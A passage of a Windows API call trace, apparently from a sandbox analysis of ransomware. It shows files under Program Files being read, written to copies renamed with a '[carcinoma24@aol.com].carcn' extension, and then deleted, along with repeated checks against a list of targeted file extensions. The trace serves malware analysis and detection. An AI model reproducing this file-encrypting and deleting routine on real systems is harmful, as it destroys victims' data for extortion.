shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0296.079] lstrlenW (lpString=".jpg") returned 4 [0296.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0296.079] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.079] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0296.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0296.079] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=23040) returned 1 [0296.079] CloseHandle (hObject=0x338) returned 1 [0296.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0296.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0296.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0296.080] lstrlenW (lpString=".doc") returned 4 [0296.080] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.080] lstrlenW (lpString=".docx") returned 5 [0296.080] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.080] lstrlenW (lpString=".pdf") returned 4 [0296.080] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.080] lstrlenW (lpString=".xls") returned 4 [0296.080] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.080] lstrlenW (lpString=".xlsx") returned 5 [0296.080] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.080] lstrlenW (lpString=".ppt") returned 4 [0296.080] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0296.080] lstrlenW (lpString=".zip") returned 4 [0296.080] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.080] lstrlenW (lpString=".rar") returned 4 [0296.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.081] lstrlenW (lpString=".bz2") returned 4 [0296.081] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.081] lstrlenW (lpString=".7z") returned 3 [0296.081] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0296.081] lstrlenW (lpString=".dbf") returned 4 [0296.081] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0296.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0296.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0296.515] GetLastError () returned 0x0 [0296.515] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0296.549] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0297.189] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.189] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xea, lpOverlapped=0x0) returned 1 [0297.189] SetEndOfFile (hFile=0x34c) returned 1 [0297.189] CloseHandle (hObject=0x34c) returned 1 [0297.189] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.189] SetEndOfFile (hFile=0x350) returned 1 [0297.196] CloseHandle (hObject=0x350) returned 1 [0297.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".doc") returned 4 [0297.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString=".docx") returned 5 [0297.197] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0297.197] lstrlenW (lpString=".pdf") returned 4 [0297.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString=".xls") returned 4 [0297.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString=".xlsx") returned 5 [0297.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0297.197] lstrlenW (lpString=".ppt") returned 4 [0297.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".zip") returned 4 [0297.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString=".rar") returned 4 [0297.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString=".bz2") returned 4 [0297.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.197] lstrlenW (lpString=".7z") returned 3 [0297.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".dbf") returned 4 [0297.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".1cd") returned 4 [0297.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".jpg") returned 4 [0297.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.197] lstrlenW (lpString=".doc") returned 4 [0297.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString=".docx") returned 5 [0297.198] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0297.198] lstrlenW (lpString=".pdf") returned 4 [0297.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString=".xls") returned 4 [0297.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString=".xlsx") returned 5 [0297.198] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0297.198] lstrlenW (lpString=".ppt") returned 4 [0297.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.198] lstrlenW (lpString=".zip") returned 4 [0297.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString=".rar") returned 4 [0297.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.198] lstrlenW (lpString=".bz2") returned 4 [0297.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.198] lstrlenW (lpString=".7z") returned 3 [0297.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.198] lstrlenW (lpString=".dbf") returned 4 [0297.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.198] lstrlenW (lpString=".1cd") returned 4 [0297.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0297.198] lstrlenW (lpString=".jpg") returned 4 [0297.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.198] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.198] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0297.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.199] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=48872) returned 1 [0297.199] CloseHandle (hObject=0x350) returned 1 [0297.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0297.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.199] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.200] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0297.200] GetLastError () returned 0x0 [0297.200] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xbee8, lpOverlapped=0x0) returned 1 [0297.209] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xbef0, lpOverlapped=0x0) returned 1 [0297.211] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.211] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x102, lpOverlapped=0x0) returned 1 [0297.211] SetEndOfFile (hFile=0x34c) returned 1 [0297.211] CloseHandle (hObject=0x34c) returned 1 [0297.211] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.211] SetEndOfFile (hFile=0x350) returned 1 [0297.212] CloseHandle (hObject=0x350) returned 1 [0297.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0297.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.212] lstrlenW (lpString=".doc") returned 4 [0297.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".docx") returned 5 [0297.213] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0297.213] lstrlenW (lpString=".pdf") returned 4 [0297.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".xls") returned 4 [0297.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".xlsx") returned 5 [0297.213] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0297.213] lstrlenW (lpString=".ppt") returned 4 [0297.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString=".zip") returned 4 [0297.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".rar") returned 4 [0297.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".bz2") returned 4 [0297.213] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.213] lstrlenW (lpString=".7z") returned 3 [0297.213] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString=".dbf") returned 4 [0297.213] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString=".1cd") returned 4 [0297.213] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString=".jpg") returned 4 [0297.213] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.213] lstrlenW (lpString=".doc") returned 4 [0297.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".docx") returned 5 [0297.213] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0297.213] lstrlenW (lpString=".pdf") returned 4 [0297.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.213] lstrlenW (lpString=".xls") returned 4 [0297.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.214] lstrlenW (lpString=".xlsx") returned 5 [0297.214] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0297.214] lstrlenW (lpString=".ppt") returned 4 [0297.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.214] lstrlenW (lpString=".zip") returned 4 [0297.214] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.214] lstrlenW (lpString=".rar") returned 4 [0297.214] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.214] lstrlenW (lpString=".bz2") returned 4 [0297.214] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.214] lstrlenW (lpString=".7z") returned 3 [0297.214] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.214] lstrlenW (lpString=".dbf") returned 4 [0297.214] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.214] lstrlenW (lpString=".1cd") returned 4 [0297.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0297.214] lstrlenW (lpString=".jpg") returned 4 [0297.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.214] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.214] lstrlenW (lpString="vstoee.dll") returned 10 [0297.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.215] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=168064) returned 1 [0297.215] CloseHandle (hObject=0x350) returned 1 [0297.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0297.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0297.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.215] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0297.218] GetLastError () returned 0x0 [0297.218] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x29080, lpOverlapped=0x0) returned 1 [0297.922] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x29090, lpOverlapped=0x0) returned 1 [0297.926] ReadFile (in: hFile=0x350, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.926] WriteFile (in: hFile=0x34c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0297.926] SetEndOfFile (hFile=0x34c) returned 1 [0297.926] CloseHandle (hObject=0x34c) returned 1 [0297.926] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.926] SetEndOfFile (hFile=0x350) returned 1 [0297.928] CloseHandle (hObject=0x350) returned 1 [0297.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.929] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0297.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.929] lstrlenW (lpString=".doc") returned 4 [0297.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.929] lstrlenW (lpString=".docx") returned 5 [0297.929] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0297.929] lstrlenW (lpString=".pdf") returned 4 [0297.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.929] lstrlenW (lpString=".xls") returned 4 [0297.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.930] lstrlenW (lpString=".xlsx") returned 5 [0297.930] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0297.930] lstrlenW (lpString=".ppt") returned 4 [0297.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString=".zip") returned 4 [0297.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.930] lstrlenW (lpString=".rar") returned 4 [0297.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.930] lstrlenW (lpString=".bz2") returned 4 [0297.930] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.930] lstrlenW (lpString=".7z") returned 3 [0297.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString=".dbf") returned 4 [0297.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString=".1cd") returned 4 [0297.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString=".jpg") returned 4 [0297.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0297.930] lstrlenW (lpString=".doc") returned 4 [0297.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.931] lstrlenW (lpString=".docx") returned 5 [0297.931] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0297.931] lstrlenW 